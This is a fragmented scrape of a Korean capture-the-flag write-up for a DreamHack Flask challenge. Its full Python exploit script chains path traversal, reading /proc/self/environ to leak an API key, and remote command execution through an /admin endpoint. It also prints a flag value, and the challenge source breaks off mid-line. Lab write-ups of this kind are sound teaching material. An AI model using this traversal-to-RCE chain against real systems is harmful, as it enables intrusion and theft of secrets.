[🥉 Bronze 3] cat 대신 실행 — DreamHack File Vulnerability Advanced 풀이 — ZINO

2026-07-06·1분 읽기·

[🥉 Bronze 3] cat 대신 실행 — DreamHack File Vulnerability Advanced 풀이

경로검증 없는 /file 엔드포인트로 path traversal, /admin의 API_KEY는 Dockerfile 더미값이라 무의미해 보이지만 /proc/self/environ을 읽으면 런타임 실제 키가 그대로 나온다. 그 키로 연 /admin RCE로 flag를 찾아도 cat은 500만 뜬다 — flag가 ---x--x--x(실행 전용) ELF라 읽지 말고 실행해야 한다.

#dreamhack #ctf #web #path-traversal #lfi #rce #flask #writeup

문제: DreamHack — File Vulnerability Advanced for linux 분류: Web 난이도: 🥉 Bronze 3 FLAG: DH{2a4ff4e94d09793c662d1bd7ec5d497d7b190c6f}

소스가 통째로 제공된다. Flask 앱 하나, 엔드포인트 세 개. 취약점을 찾는 게 아니라 이미 알려준 두 취약점을 어떤 순서로 엮어야 하는지가 문제다.

🧩 배경 — 세 엔드포인트, 두 개의 구멍

API_KEY = os.environ.get('API_KEY', None)
 
def key_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.args.get('API_KEY', None)
        if API_KEY and

이 글이 도움이 됐나요?

Comments

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

N 네이버로 로그인 G 구글로 로그인

댓글 불러오는 중…

3개

blog

[🌱 새싹] 필터는 업로드에만 걸려 있었다 — DreamHack file-download-1 풀이

메모 저장소 Flask 앱. 업로드 경로는 파일명에 '..'가 들어가면 막지만, 읽기 경로(/read)에는 같은 검사가 빠져 있다. uploads 디렉토리를 기준으로 경로를 그대로 이어붙이는 탓에 /read?name=../flag.py 한 줄로 상위 디렉토리의 flag.py를 그대로 읽어 플래그를 가져온다.

#dreamhack#ctf#web+4

import re, sys
from urllib.parse import quote
from urllib.request import urlopen
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:23382").rstrip("/")
 
def lfi(path):
    return urlopen(f"{BASE}/file?path={quote(path)}", timeout=10).read().decode()
 
def admin(cmd, api_key):
    return urlopen(f"{BASE}/admin?cmd={quote(cmd)}&API_KEY={api_key}", timeout=10).read().decode()
 
# 1) path traversal로 /proc/self/environ 읽어 런타임 API_KEY 유출
environ = lfi("../../../../proc/self/environ")
api_key = re.search(r"API_KEY=([0-9a-f]+)", environ).group(1)
print(f"[1] leaked API_KEY = {api_key}")
 
# 2) 유출된 키로 /admin RCE 활성화 -> /flag 위치·권한 확인
info = admin("whoami; find / -maxdepth 3 -iname '*flag*' -exec ls -l {} +", api_key)
print(f"[2] {info.strip()}")
 
# 3) /flag는 ---x--x--x(실행 전용) ELF라 cat은 텍스트 디코딩 실패로 500 -> 직접 실행
flag = admin("/flag", api_key)
print(f"[3] FLAG: {flag.strip()}")

[🥉 Bronze 3] cat 대신 실행 — DreamHack File Vulnerability Advanced 풀이

댓글

관련 글

[🌱 새싹] 필터는 업로드에만 걸려 있었다 — DreamHack file-download-1 풀이

🔬 정찰 — 소스부터 다시, 이번엔 traversal로

💣 핵심 — Dockerfile의 더미값이 아니라 `/proc/self/environ`

🎯 익스플로잇 — RCE는 얻었는데, `cat`이 안 먹힌다

🚀 Full Exploit

📝 결론

[🥉 Bronze 1] 읽을 수 없는 flag — LFI로 매니저 비번 털어 RCE — DreamHack Tomcat Manager 풀이

[🥉 Bronze 1] 확장자만 .md면 통과 — 내용은 아무도 안 봤다, DreamHack Pearfect Markdown 풀이

🧩 배경 — 세 엔드포인트, 두 개의 구멍

댓글

관련 글

[🌱 새싹] 필터는 업로드에만 걸려 있었다 — DreamHack file-download-1 풀이

🔬 정찰 — 소스부터 다시, 이번엔 traversal로

💣 핵심 — Dockerfile의 더미값이 아니라 /proc/self/environ

🎯 익스플로잇 — RCE는 얻었는데, cat이 안 먹힌다

🚀 Full Exploit

📝 결론

[🥉 Bronze 1] 읽을 수 없는 flag — LFI로 매니저 비번 털어 RCE — DreamHack Tomcat Manager 풀이

[🥉 Bronze 1] 확장자만 .md면 통과 — 내용은 아무도 안 봤다, DreamHack Pearfect Markdown 풀이

💣 핵심 — Dockerfile의 더미값이 아니라 `/proc/self/environ`

🎯 익스플로잇 — RCE는 얻었는데, `cat`이 안 먹힌다